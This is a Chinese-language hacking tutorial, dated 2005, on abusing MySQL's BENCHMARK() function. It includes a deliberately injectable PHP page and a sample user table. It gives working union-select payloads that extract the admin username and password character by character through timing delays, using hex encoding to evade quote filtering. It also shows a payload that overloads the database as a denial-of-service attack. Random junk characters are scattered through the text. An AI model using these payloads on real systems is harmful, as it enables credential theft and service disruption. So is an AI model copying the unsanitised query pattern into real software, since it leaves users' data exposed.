MYSQL中BENCHMARK函数的利用 $ A2 h2 Z; d$ A: V- L% |9 @: A
本文作者:SuperHei
4 C- \* x7 @ W$ j5 w文章性质:原创
7 @* X* q. q9 m. h$ f7 ?" J' p B& c发布日期:2005-01-025 j6 Y" n ?/ u Q3 r1 k7 E V
完成日期:2004-07-09 # D: W+ B) W: i* M8 g
第一部- [ C3 ?& P: r5 e9 Y
* l1 ~! L: W `
利用时间推延进行注射---BENCHMARK函数在注射中的利用
' x& u- ]+ n5 H
. r7 _+ `7 i8 E9 n一.前言/思路
. c1 g! P7 @% A6 y7 u; O9 {3 A( f8 r( T a2 y8 u
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。9 s; W9 _' s# I7 w1 M: E+ P- |
! g+ h5 ~8 s$ z, l& ?+ f b% P$ F
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。0 `0 x8 N; R4 o
9 E l2 a: R% d+ \! ?) N二.关于BENCHMARK函数& d! {/ Y7 y; `( m
' Y6 L- B" J" I" F L1 g
在MySQL参考手册里可以看到如下描叙: ! [0 g. w' ]: g) e# U' Z" u% _
4 M6 d6 _, u; s* ~' b4 m- i
8 r" o! I1 Y6 B: w7 l0 I--------------------------------------------------------------------------------
4 I/ ?( @- \' i4 \" h% x; l" k. z8 V: n7 b/ a* T' X
BENCHMARK(count,expr)
& ?- g% w% `1 z+ PBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
* Y) K/ D! j6 Z3 ?! F) X5 ]mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
g- N& y1 }+ O" c+----------------------------------------------+ 0 I* s0 Z2 p2 i; Y
| BENCHMARK(1000000,encode("hello","goodbye")) |
2 ?: }0 F2 |# u( [) V$ p6 d! @( h+----------------------------------------------+ - Y( p) A; a1 D% a x
| 0 | # h" M1 z) ]! @& a" J3 o, f
+----------------------------------------------+ " X& E, m9 ~4 W! ]
1 row in set (4.74 sec)
* _; W% [! E% z/ O! C* v j# U6 u+ }& s9 r# [" \
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
( n3 L- P! e2 X& X; L1 a( k9 Z
/ t$ K& m5 E7 D1 t0 t4 p7 M5 J/ Q# h* U
--------------------------------------------------------------------------------& i* J! c" h1 H6 X
6 S' m3 D1 c, n) r5 u 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
0 }; r& B) n$ g$ p1 T# _/ \& u3 V9 S9 F' d- Y: M
mysql> select md5( 'test' ); " h) W1 R6 j) V% t# e
+----------------------------------+
# c6 e. }. V' e6 k: G: B| md5( 'test' ) |
8 y% B7 B, D& v- i$ n1 J+----------------------------------+
* N) ?/ {) [2 u: N: i8 m4 j| 098f6bcd4621d373cade4e832627b4f6 |
/ Q( v3 j/ s8 \" z1 Y$ e+----------------------------------+
* F& ^9 q5 |1 `! M4 b1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
4 C- c4 g+ D% i" G( L
% L& `9 @7 u" Dmysql> select benchmark( 500000, md5( 'test' ) ); % L1 s, y6 F# S- G( J2 w
+------------------------------------+ 8 E8 B- z2 V9 v+ t3 i
| benchmark( 500000, md5( 'test' ) ) | " a" r; s8 e- X) M" H1 {) u3 _
+------------------------------------+
1 c# a% y V; m || 0 |
0 D6 [) S9 h4 Y" I/ ~' R. ]' p+------------------------------------+ - u8 O E" `; W) | o9 X c' x ~1 @" g
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec1 y' |0 \5 B7 {5 t; o
8 E6 r. O- q" V" E! @- s) d
5 r) |+ u3 Z3 B- N R( F 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 5 z4 z B+ k P! m+ d* P7 E8 F
, |; q( y3 [, w @. I+ E三.具体例子
7 @* A8 U2 b6 j5 ~( c7 I# y4 P
! j. o4 h0 a% A: F7 n 首先我们看个简单的php代码:
. P; Q6 d+ W$ ~2 l
: Q k* ~' S0 ^6 y- V7 c/ e2 B L< ?php % l- w: D1 q+ u+ K4 g
$servername = "localhost"; # [9 H' D- h7 [, C- |' d
$dbusername = "root";
* S! H% ]0 C$ U$dbpassword = "";
% O9 c# E9 Z" T. ]$dbname = "injection";
' `5 C+ b8 `6 h: V1 `1 F+ a5 r( Z5 W
% R/ o: ^5 U# u$ w: N' B" ~mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
5 h3 I0 Z+ B* ^& v
! J" z, o j& \0 [ U$sql = "SELECT * FROM article WHERE articleid=$id"; 0 q- ?* f! y' d8 Z$ D1 B: h
$result = mysql_db_query($dbname,$sql); % {0 a3 S& O: b, n! h+ U* Z+ W
$row = mysql_fetch_array($result);
$ V1 l8 S2 N3 T$ R e% V2 W& z: n: J3 H8 o4 T: ]$ y
if (!$row)
: ^+ x/ ?: B! M8 Z: h{
: ]% B+ [( J4 ]. Pexit; & t& q4 t: `) |0 O4 X4 B
} % P. c- @9 Z4 m7 b
?>
- |% O/ }/ j3 u( }1 b8 s % ^/ Q+ ?3 ?: ^' b" p" `
% E% P/ U: G! h6 s, \( K& k
数据库injection结构和内容如下:
4 r6 P0 N1 Y" j5 i. |: p! P( O3 v6 q8 h/ p/ F
# 数据库 : `injection` ; o7 ?" C+ f' U1 s# l+ F
#
5 t: K4 P k+ M/ e1 h* {4 R$ n0 q
# -------------------------------------------------------- 6 P0 J- R5 Y, K Z, e
) R' n1 g0 E% |) o. ^% ]" v! z6 f. {#
, Q$ L3 ]: }, i& R# 表的结构 `article` 9 ~& y4 y2 R' q* F9 e0 r
#
( _2 p3 K' _9 ~& [* v
) A6 ]9 @. N8 y, ACREATE TABLE `article` (
/ E% Z! J3 `: {2 Y: s. s( A: {`articleid` int(11) NOT NULL auto_increment, ) A ~4 q* w9 z4 n6 {; d9 G
`title` varchar(100) NOT NULL default '',
0 B7 K/ r4 k2 D; w H9 G( q`content` text NOT NULL, 6 W2 t0 S) u: z0 a* o7 B9 {7 d5 Z6 t
PRIMARY KEY (`articleid`) / Z, F6 I( ]' [# I
) TYPE=MyISAM AUTO_INCREMENT=3 ; + u& q3 {3 @ u: A8 J2 k
; J& `8 F7 j6 h5 J& N* L- Y F3 i
# 5 \$ R6 k" q A8 Q5 v$ c; f7 w
# 导出表中的数据 `article`
$ ^1 p+ S- Y% c! y3 u# 1 W) O. O$ u; }0 A6 Y8 ~
( B0 r$ K5 i1 S% e& c( X2 D
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
, @% J: b, r, }0 w* r& \INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
; T& i( v; |. w" E+ d$ @
& |8 }2 R) d' n9 J0 I# -------------------------------------------------------- : _: q8 h1 a$ o% C, x4 @: R- U `) ]; ~) Z
% h" v+ @* t; N3 X# " h5 m5 \- ]& ?$ O
# 表的结构 `user` ' v5 H8 J. b4 s. s- h$ V
#
+ e. c, I! a. A! r y& C7 Q2 s& S# [. E( f+ w A( k$ Z0 a! Q9 g
CREATE TABLE `user` (
4 K" k/ s5 V w6 B( t% d`userid` int(11) NOT NULL auto_increment,
m3 B6 \. T1 P! b3 l`username` varchar(20) NOT NULL default '', 4 Q, k/ ~8 c" P+ T& q4 f* k/ \1 G* g
`password` varchar(20) NOT NULL default '', ) i4 b4 X! [" u$ U, K7 N
PRIMARY KEY (`userid`) 8 f* \( K+ t# [: T4 \
) TYPE=MyISAM AUTO_INCREMENT=3 ; 7 O, l6 F" f' G: o# p) D* F. x5 \% W8 _/ u
$ U* e# D% m2 d: X
#
. l: c+ A0 U- k$ L2 {' \# 导出表中的数据 `user` 4 j I3 J4 |% e+ Y5 Y5 b* R4 Q
#
7 H) D8 m0 F: A4 O& T8 M
/ x4 Z2 F3 p7 E% {$ oINSERT INTO `user` VALUES (1, 'angel', 'mypass');
. T0 {* i- P% u4 E% B# MINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');6 ^. U$ z. h& Q6 Z9 a# {# E
}- a- x( u: k7 {) ]: Y' j2 P! A, [7 r; g! |
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:" x! s" l K* @, T: Q e
! g1 u* @# b! N& Sid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
# ~9 w+ X Z8 w8 i: Y: }$ c 9 p8 U. ^( I* m+ H& T7 b2 V! m
8 h; l8 E* }9 r e" s6 Q# I# s
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:) m4 C# f% R# ~. `" V- g, c% A) N
) L, G9 f; m6 `http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*1 |' w- v6 O9 Z' v- r3 k1 l- m
: z/ M+ c0 O w/ J9 [
. ~' t4 L$ N0 X2 V6 O' k1 B- z 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
g) Q) B8 P; N7 Q7 T% {, D; E- m7 g2 L) [, F
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
$ @7 A& a5 {$ F; j: L8 R4 ^8 W7 y5 h2 |4 j0 L! d: [* o
第二部
- p+ G8 c* Q! R+ r3 _1 F( j
) ~0 ~% a" L m4 ?% F' M' c0 Y利用BENCHMARK函数进行ddos攻击 3 D9 `3 I5 _9 \5 C4 r
: ?2 L& Q, m% \- q! E 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
5 Z8 s4 x U& h8 S* \, L) h
- N8 S: R( s p/ v% O* rhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))3 U3 f7 t& A. S" u4 Z9 T
4 R4 B. {* d0 G1 H; w
+ a2 `& f! F8 E# F小结, d2 I0 K/ C5 J% ]
! U9 S, ?5 a$ i/ q
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。: B9 z# j7 ^" O( a+ r" t( F
' ~: W" B" K2 c; s3 n& P
2 V0 H- Y' n6 O! p5 K6 B/ |
|